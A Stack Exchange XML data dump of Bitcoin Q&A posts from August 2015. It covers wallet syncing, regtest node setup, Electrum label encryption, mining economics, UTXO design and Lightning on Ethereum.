  <row Id="39164" PostTypeId="2" ParentId="39162" CreationDate="2015-08-20T03:44:48.433" Score="3" Body="&lt;p&gt;Other nodes do the same computation, in a deterministic fashion, and they compare their result to the result the miner got. That's why there's no function that returns random results - different nodes would come up with different numbers, and the chain would fork. All other miners verify your block, and the penalty for building an incorrect block is losing the block you mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there's a related question: can you gain an advantage by improving the speed of the VM, or skipping computations somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could. For example, you could offload the computations to a GPU. Even though Dagger is GPU-resistant, the VMs require a small amount of memory and could probably be run on a GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage would be pretty slight, though.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-08-20T03:44:48.433" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39165" PostTypeId="2" ParentId="39143" CreationDate="2015-08-20T04:05:07.810" Score="1" Body="&lt;p&gt;You can view the source of the &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/master/plugins/labels.py&quot; rel=&quot;nofollow&quot;&gt;Electrum label sync plugin on github&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How and where are the labels stored?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They appear to be stored on sync.bytesized-hosting.com:9090.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the transmission of the labels encrypted?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The labels are encrypted with AES using using a truncated SHA1 of the wallets Master Public Key, this should be reasonably safe. IV appears to be static, this is fairly weak but not disastrous. For most people the server should not be able to decrypt any of the information stores within the label sync service. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    self.encode_password = hashlib.sha1(mpk).digest().encode('hex')[:32]&#xA;    self.iv = hashlib.sha256(self.encode_password).digest()[:16]&#xA;    self.wallet_id = hashlib.sha256(mpk).digest().encode('hex')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do the electrum server save IP information by default?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The source of the sync server is &lt;a href=&quot;https://github.com/maran/electrum-sync-server&quot; rel=&quot;nofollow&quot;&gt;available on github&lt;/a&gt;, however you should ideally assume that all traffic to it is logged. This would include the hash of your master public key, your IP address, and the times you were using the wallet which can be correlated with transactions. This is probably never going to be an issue for most people but it is something to be aware of. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-25T12:21:48.697" LastActivityDate="2015-08-25T12:21:48.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39166" PostTypeId="1" AcceptedAnswerId="39167" CreationDate="2015-08-20T06:55:51.930" Score="1" ViewCount="268" Body="&lt;p&gt;I am new to Bitcoin. So, I downloaded the Windows Bitcoins software from the official website and used the &quot;request bitcoins&quot; option to request bitcoins from my exchanger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My exchanger charged me $20 and told me he will send me bitcoins corresponding to $20. But even after 18-20 hours I didn't receive any bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, the Bitcoin software is showing &lt;code&gt;synchronizing with network : x years xx weeks&lt;/code&gt; remaining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? Should I wait for the synchronizing to complete or file a complaint against exchanger?&lt;/p&gt;&#xA;" OwnerUserId="28012" LastEditorUserId="5406" LastEditDate="2015-08-20T10:16:08.550" LastActivityDate="2015-08-20T10:16:08.550" Title="I am new and I did not get bitcoins" Tags="|synchronization|buy-bitcoins|" AnswerCount="1" CommentCount="3" ClosedDate="2015-08-20T12:30:29.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="39167" PostTypeId="2" ParentId="39166" CreationDate="2015-08-20T08:09:14.540" Score="1" Body="&lt;p&gt;Yes, wait for it to finish synchronizing. You will not see your coins until it finishes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note that the time shown is not the estimated time until completion; it represents the age of the old transactions currently being downloaded. Depending on the speed of your computer and internet connection, you can expect it to finish in a few hours to a few days.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, you can enter your address in a &quot;block explorer&quot; site like &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info&lt;/a&gt; to check whether the seller made the transaction as agreed. (This is safe; your address alone cannot be used to steal your coins.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to download the entire block chain, you can use a different client such as Multibit, but you will have to import your wallet.dat from Bitcoin Core into your new client software. Its documentation should explain how to do that.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-08-20T08:09:14.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39168" PostTypeId="2" ParentId="39155" CreationDate="2015-08-20T08:32:16.560" Score="9" Body="&lt;p&gt;You probably want to run multiple &lt;code&gt;bitcoind&lt;/code&gt; instances in &lt;code&gt;regtest&lt;/code&gt; to simulate multiple nodes.&#xA;Thats pretty easy. You can run a second instance by starting bitcoind with a clean data directory and a different RPC and P2P port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that, you could create a 2nd data directory (example: &lt;code&gt;/tmp/datadir2&lt;/code&gt;). Create &lt;code&gt;/tmp/datadir2/bitcoin.conf&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use something similar than:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;regtest=1&#xA;rpcuser=rt&#xA;rpcuser=rt&#xA;port=12340&#xA;rpcport=10340&#xA;discover=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you need to connect your first node with your 2nd node by sending a &lt;code&gt;addnode&lt;/code&gt; over the RPC interface.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli addnode 127.0.0.1:10340 onetry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can than distinct between both nodes with the &lt;code&gt;-datadir&lt;/code&gt; argument while calling &lt;code&gt;bitcoin-cli&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -datadir=/tmp/datadir2/ getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Some examples:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;generate coins in first node (50 BTC available)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli generate 101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;get address from 2nd node&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -datadir=/tmp/datadir2/ getnewaddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;send coins to 2nd node&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli sendtoaddress &amp;lt;address&amp;gt; 10.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="3697" LastEditDate="2015-08-20T08:40:27.773" LastActivityDate="2015-08-20T08:40:27.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="39169" PostTypeId="1" AcceptedAnswerId="39180" CreationDate="2015-08-20T08:52:18.337" Score="2" ViewCount="216" Body="&lt;p&gt;I am writing an application that uses bitcoin wallet accounts to specify what addresses belong to what user. I have been reading the documentation trying to find a way to spend Bitcoins specifying the &lt;strong&gt;account from&lt;/strong&gt;, &lt;strong&gt;address to&lt;/strong&gt;, and &lt;strong&gt;miners fee&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the documentation, I think that is impossible, because there are only two ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The first one is using &lt;code&gt;sendFrom&lt;/code&gt;, but you can't set the fee with this command. You could use &lt;code&gt;settxfee&lt;/code&gt; but that is a changing number depending on the Kb's of the tx.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The second one is using &lt;code&gt;CreateRawTransaction&lt;/code&gt; and &lt;code&gt;SendRawTransaction&lt;/code&gt;, but in order to specify the inputs, there is no way to get the inputs, other than calling &lt;code&gt;listunspent&lt;/code&gt;, but that returns the inputs for all wallets, and there is no way to tell that command to only return the unspent inputs for a &lt;strong&gt;specific account&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there really no way to send bitcoins from account specifying the fee?&lt;/p&gt;&#xA;" OwnerUserId="28013" LastEditorUserId="5406" LastEditDate="2016-04-03T08:18:11.677" LastActivityDate="2016-04-03T08:18:11.677" Title="How to spend bitcoins From Account and specify Fee" Tags="|bitcoind|json-rpc|transaction-fees|bitcoin-core-accounts|coin-selection|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39170" PostTypeId="2" ParentId="39046" CreationDate="2015-08-20T12:26:59.103" Score="0" Body="&lt;p&gt;In Bitcoin terminology &lt;strong&gt;a wallet&lt;/strong&gt; is a piece of software that allows you to manage your Bitcoin funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, wallets show information about your balance, track payments received/sent, and manage your private-keys, i.e. the secret information that proves your ownership of your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are different flavors of wallets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Online wallets&lt;/strong&gt; are accounts with companies that manage your Bitcoin balance for you, similarly to how banks manage money for you. This type of wallet gives you least control, but most customer support.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Thin wallets&lt;/strong&gt; store the ownership information on your device, but do not validate the status of the Bitcoin network themselves. They are a good choice as light weight clients for casual users.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Full clients&lt;/strong&gt; actually synchronize the whole Bitcoin blockchain and therefore the most secure. However, they require quite some time to synchronize with the network.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The most important information of the wallet is stored in the &lt;code&gt;wallet.dat&lt;/code&gt; for Bitcoin Core (and similarly so for other wallet types). This file should be backed up regularly to ensure continued ownership of your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/4178/5406&quot;&gt;What is a good resource to help newbies choose their first wallet/s?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, usage of the term &quot;wallet&quot; is sometimes not very accurate. It is common to see it used as a stand-in for &quot;wallet-backup&quot; or &quot;wallet-data&quot;, e.g. in the context of wallet recovery and backups.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-09-22T17:08:16.423" LastActivityDate="2017-09-22T17:08:16.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39171" PostTypeId="1" CreationDate="2015-08-20T13:48:14.713" Score="1" ViewCount="1364" Body="&lt;p&gt;My company has a ~270 node cluster we're thinking of turning into a solo mining operation during downtime. Can anyone direct me to a comprehensive tutorial on how to set this up?&lt;/p&gt;&#xA;" OwnerUserId="28015" LastActivityDate="2015-08-20T15:15:59.170" Title="Solo Cluster Mining" Tags="|linux|solo-mining|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39172" PostTypeId="2" ParentId="39171" CreationDate="2015-08-20T15:15:59.170" Score="2" Body="&lt;p&gt;Do you have an estimate on how many TH/s this cluster can do? I would advise against solo mining unless you can manage to comprise at least 0.1% of the network hash rate, which currently (August 2015) would be about 50TH/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with pooled mining, it's probably a waste of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be profitable to mine some altcoin, but I am not familiar with all of them, and you have not mentioned any specs for your cluster or what you pay for electricity.&lt;/p&gt;&#xA;" OwnerUserId="5414" LastActivityDate="2015-08-20T15:15:59.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39174" PostTypeId="1" CreationDate="2015-08-20T18:02:58.723" Score="1" ViewCount="138" Body="&lt;p&gt;Disclaimer: I am new to this forum and Bitcoin/cryptocurrency in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all 21 million bitcoins are released into circulation, it seems that the incentive to mine is gone unless transaction fees are used. But if transaction fees are too high the incentive to use Bitcoin is reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the block size is increased the total number of transactions per block would increase, which results in more total reward for that block. This would also allow individual transaction fees to be quite low.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is this a feasible way to solve the &quot;End of mining&quot; problem?&lt;/p&gt;&#xA;" OwnerUserId="28017" LastEditorUserId="5406" LastEditDate="2016-03-15T14:49:24.363" LastActivityDate="2016-03-15T14:49:24.363" Title="Could increasing Block size solve the &quot;End of mining&quot; issue" Tags="|transaction-fees|mining-reward|block-size-increase|blockspace-market|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39175" PostTypeId="1" CreationDate="2015-08-20T18:23:41.733" Score="-1" ViewCount="361" Body="&lt;p&gt;I sent bitcoins to my wallet before it was synced. Is there anyway to transfer the funds to a different wallet without waiting for it to properly sync? The wallet still says no available funds or pending transactions.&lt;/p&gt;&#xA;" OwnerUserId="28018" LastActivityDate="2015-08-21T10:03:07.783" Title="I sent bitcoins to my wallet before it was synced. Is there anyway to transfer the funds to a different wallet without waiting fo it to properly sync?" Tags="|transactions|wallet|synchronization|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-21T10:13:18.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="39176" PostTypeId="2" ParentId="39174" CreationDate="2015-08-20T19:44:44.603" Score="1" Body="&lt;p&gt;That will be part of the solution, of course. But it's already assumed that in the far future there will be more transactions. That's not a solution in and of itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind also, that the more transactions there are, the more valuable the system is, and so the greater the incentive to attack, and the more mining is required to defend it.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-08-20T19:44:44.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39177" PostTypeId="1" AcceptedAnswerId="39178" CreationDate="2015-08-20T23:18:31.700" Score="4" ViewCount="373" Body="&lt;p&gt;Why don't we just use balances? The nodes would verify that balance &gt; 0 before validating the transaction.&lt;/p&gt;&#xA;" OwnerUserId="28020" LastEditorUserId="5406" LastEditDate="2015-08-24T12:26:16.680" LastActivityDate="2015-08-24T12:26:16.680" Title="Why does Bitcoin use the input/output system?" Tags="|transactions|utxo|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39178" PostTypeId="2" ParentId="39177" CreationDate="2015-08-21T03:54:19.070" Score="2" Body="&lt;p&gt;Outputs neatly solve a few problems you would encounter with a balance based system. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions using outputs can not be replayed cross network, multiple times, or in different situations than when they were created. In an address based system you must keep a nonce or a record of all past transactions to ensure multiple executions of one transaction does not occur. You don't have the option of re-signing a transaction with a higher miners fee, because the transactions are not atomic and can both exist in the chain at once.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Transactions using outputs can be deployed even years after they have been signed, which is incompatible with an incremented nonce. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;An output based system can forget about an output once it is spent, a nonce based system must keep track of all nonces forever. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verifying that an output exists in a block is trivial by displaying the merkle path to it, and showing the block header is part of the main chain. In an address based system this is substantially harder to prove, if not impossible given the same constraints. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-08-21T03:54:19.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39179" PostTypeId="2" ParentId="38297" CreationDate="2015-08-21T04:00:39.387" Score="4" Body="&lt;p&gt;The message &lt;code&gt;ERROR: AcceptToMemoryPool&lt;/code&gt; is to do with your node accepting new transactions from the network and doesn't have anything to do with your local sync state. It just means that someone made a transaction and broadcast it to you which does not respect the rules of your current software version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should really be &quot;INFO&quot; rather than error, or simply just not logged at all. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-11-20T22:25:18.917" LastActivityDate="2015-11-20T22:25:18.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39180" PostTypeId="2" ParentId="39169" CreationDate="2015-08-21T06:23:41.627" Score="2" Body="&lt;p&gt;&lt;strong&gt;Please don't use bitcoin cores accounting system anymore (especially for new projects). It has been deprecated (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/3816&quot; rel=&quot;nofollow&quot;&gt;and might be removed in near future&lt;/a&gt;).&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A way of solving your issue would be by calling &lt;code&gt;getaddressesbyaccount&lt;/code&gt; (get addresses of a specific account) and then use &lt;code&gt;listunspent&lt;/code&gt; with these addresses.&#xA;Then you could create your own coin selection and use &lt;code&gt;createrawtransaction&lt;/code&gt; &lt;code&gt;singrawtransaction&lt;/code&gt; and &lt;code&gt;sendrawtransaction&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-08-21T06:23:41.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39181" PostTypeId="1" CreationDate="2015-08-21T08:36:45.793" Score="0" ViewCount="236" Body="&lt;p&gt;I am trying out bitcoin multi-sig in test net and when I make a payment i get the payment details address as 3CRrDxJwwkrJqmgSWikQMmZWCDo5SmL3tc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when i go into my test net wallet and try to send funds to this address it comes back as unrecognised. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I am doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="28026" LastActivityDate="2015-08-21T15:26:01.297" Title="Multi-Sig bitcoin in testnet" Tags="|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39182" PostTypeId="2" ParentId="39181" CreationDate="2015-08-21T09:10:18.073" Score="4" Body="&lt;p&gt;Addresses starting with &lt;strong&gt;3&lt;/strong&gt; are Mainnet P2SH addresses. For testnet your require a valid base58check/RIPEMD160 encoded scripthash for a P2SH address (starting with &lt;strong&gt;2&lt;/strong&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastEditorUserId="3697" LastEditDate="2015-08-21T15:26:01.297" LastActivityDate="2015-08-21T15:26:01.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39183" PostTypeId="2" ParentId="39140" CreationDate="2015-08-21T09:49:11.190" Score="2" Body="&lt;p&gt;The difficulty of the mining algorithm is solely reliant on the time it takes to mine 2016 blocks and the previous difficulty. (See: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/5838/5406&quot;&gt;How is difficulty calculated?&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the mining algorithm retargets exponentially (up to a factor of 4) every 2016 blocks, it is impossible for technological progress to outpace difficulty increase in the long run. Even if the mining power were to double every day (which is insane!), the block interval would only go down to about every two minutes in average, i.e. approximately five times faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On another answer I've provided a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/13740/5406&quot;&gt;sample calculation for an overnight hash power increase by factor 21&lt;/a&gt;, which you might find interesting. The difficulty would catch up in 14 days.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-08-21T09:49:11.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39184" PostTypeId="2" ParentId="39175" CreationDate="2015-08-21T10:03:07.783" Score="-1" Body="&lt;p&gt;You could find the wallet file and attach it to a client that is already synced with the network.&lt;/p&gt;&#xA;" OwnerUserId="28027" LastActivityDate="2015-08-21T10:03:07.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39185" PostTypeId="1" CreationDate="2015-08-21T10:19:29.393" Score="-1" ViewCount="1353" Body="&lt;p&gt;I just looked up how to mine bitcoin with my tablet and im using 2 apps: ARM Miner and Crypto miner, but my worker is considered offline when they are mining. Im getting KH so is that good? And should I use PikaArt or PikaArt.miner1 for my login into apps? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="28028" LastEditorUserId="5406" LastEditDate="2016-03-10T09:06:32.987" LastActivityDate="2016-03-10T09:06:32.987" Title="Why is my miner offline in Slush's Pool?" Tags="|cpu-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39186" PostTypeId="2" ParentId="39185" CreationDate="2015-08-21T12:24:30.477" Score="1" Body="&lt;p&gt;Your tablet is too slow to even be assigned work by the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining today is performed with &lt;a href=&quot;https://bitcoin.stackexchange.com/q/12029/5406&quot;&gt;ASIC&lt;/a&gt;s, specialized hardware that is literally a billion times more efficient than your tablet, clocking in at &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21498/5406&quot;&gt;terahashes per second&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see this more &lt;a href=&quot;https://bitcoin.stackexchange.com/a/38466/5406&quot;&gt;comprehensive explanation by Dr.Haribo&lt;/a&gt; why mining with Laptops isn't a good idea.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-03-10T09:06:20.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39187" PostTypeId="1" AcceptedAnswerId="39189" CreationDate="2015-08-21T13:20:25.483" Score="7" ViewCount="4821" Body="&lt;p&gt;As a single bitcoind node I can only detect how many connected peers I have. Is there a way to have a vision of the whole bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="24601" LastEditorUserId="5406" LastEditDate="2015-08-21T13:37:01.073" LastActivityDate="2015-08-21T14:23:03.197" Title="Is there a way to find how many nodes are there?" Tags="|bitcoind|network|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39188" PostTypeId="1" AcceptedAnswerId="39192" CreationDate="2015-08-21T13:28:05.527" Score="5" ViewCount="480" Body="&lt;p&gt;The &lt;a href=&quot;http://lightning.network/&quot; rel=&quot;noreferrer&quot;&gt;Lightning Network&lt;/a&gt; of micropayment channels is a concept first conceived by Joseph Poon and Thaddeus Dryja. It requires a few features of bitcoin that are not available yet.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OP_CHECKLOCKTIMEVERIFY - to make scriptPubKeys which cannot be spent until some predefined time.&lt;/li&gt;&#xA;&lt;li&gt;OP_CHECKSEQUENCEVERIFY - to make scriptPubKeys which cannot be spent until some set time after the original transaction. (Also called OP_RELATIVECHECKLOCKTIMEVERIFY)&lt;/li&gt;&#xA;&lt;li&gt;Segregated Witness - Referencing which output you are spending by (TXID, n) should not reference the malleable signatures of the transaction with the output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Does Ethereum support these, or equivalent, features?&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-08-21T21:09:15.250" Title="Does Ethereum support the features necessary to create the Lightning Network?" Tags="|ethereum|micropaymentchannels|lightning-network|" AnswerCount="2" CommentCount="0" ClosedDate="2020-04-25T21:35:00.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="39189" PostTypeId="2" ParentId="39187" CreationDate="2015-08-21T13:36:30.440" Score="4" Body="&lt;p&gt;There are websites such as &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitnodes.io&lt;/a&gt; that track the number of nodes currently reachable in the network. The site also gives an account of the versions the nodes deploy and what countries they are located in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to Bitnodes.io, there are currently 6426 nodes reachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To collect your own list of nodes, you'd ask your peers for more peers, i.e. &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation#getaddr&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;getaddr&lt;/code&gt;&lt;/a&gt;, then recursively request more peers from the newly discovered peers, until you have polled everyone you have discovered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this doesn't guarantee you to find all nodes, as some don't accept connections from the outside, and &lt;code&gt;getaddr&lt;/code&gt; doesn't necessarily give you all peers. Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24381/5406&quot;&gt;Does getaddr.bitnodes.io find all Bitcoin nodes or only one node per mining pool?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-08-21T14:23:03.197" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="39190" PostTypeId="1" AcceptedAnswerId="39254" CreationDate="2015-08-21T16:20:25.640" Score="3" ViewCount="2634" Body="&lt;p&gt;I am running Linux with a harddisk. Currently the blockchain is on an NTFS partition, which probably isn't the fastest. Which filesystem should I choose? As I understand it, a Bitcoin node will only ever append to the blockchain, which means I should not choose a filesystem that is optimized for e.g. fast deletion.&lt;/p&gt;&#xA;" OwnerUserId="3347" LastActivityDate="2015-10-26T01:44:15.327" Title="Fastest filesystem for blockchain?" Tags="|blockchain|linux|storage|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39191" PostTypeId="2" ParentId="39188" CreationDate="2015-08-21T19:21:48.040" Score="0" Body="&lt;p&gt;In Ethereum world &#xA;it's a very simple &#xA;solidity contract: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for time you will &#xA;check the &lt;code&gt;block.number&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can pre-define &#xA;what amount you want to &#xA;spent for some special &#xA;arbitrary condition.&lt;/p&gt;&#xA;" OwnerUserId="7433" LastActivityDate="2015-08-21T19:21:48.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39192" PostTypeId="2" ParentId="39188" CreationDate="2015-08-21T21:09:15.250" Score="5" Body="&lt;p&gt;They don't need to support those. As mentioned by Roman you could build the entire LN in one contract. You can even implement the LN Relative OP_CHECKLOCKTIMEVERIFY requirement in a much better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact you can add more functionality than is possible with the Bitcoin LN, you could allow people to add more Ether to their side of the channel with offchain transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tx malleability also doesn't need to be solved (a very difficult probelm in Bitcoin) because it doesn't pertain. A LN contract wouldn't have to chain offchain transactions in any way, just passing signed offchain 'notes' of a sort that contain information relating to amounts, blocknumber for available release, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also somewhat trivial to add the hub and spokes part where a random value R is hashed to create H and allow payments to hop through multiple parties (but in Ethereum you could do it without the problem of locking up funds that they need an extra OP CODE to solve).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclosure: I'm actually working on this in my spare time.&lt;/p&gt;&#xA;" OwnerUserId="25232" LastActivityDate="2015-08-21T21:09:15.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39193" PostTypeId="1" CreationDate="2015-08-21T22:36:28.553" Score="2" ViewCount="611" Body="&lt;p&gt;I got in to bitcoin mining about a year ago by purchasing a used Cointerra TerraMiner IV. The price of bitcoin was higher than the electricity cost to run the machine. I don't know a lot about the internals of the machine, but I know it's 4 GoldStrike I 28nm ASIC boards (2 per board) controlled by an embedded linux beaglebone board. With the current news about the Bitcoin/XT split, I'm wondering if it's possible to upgrade the mining software to support XT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not too familiar with ASIC boards—does &quot;application-specific&quot; exclude Bitcoin XT in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My background: Computer Science/Software Engineering/Internet Security Research&lt;/p&gt;&#xA;" OwnerUserId="28035" LastEditorUserId="5406" LastEditDate="2016-03-15T14:47:42.613" LastActivityDate="2016-11-10T22:32:58.150" Title="Can I upgrade the software on Cointerra TerraMiner IV?" Tags="|asic|mining-hardware|miner-configuration|mining-software|bitcoin-xt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
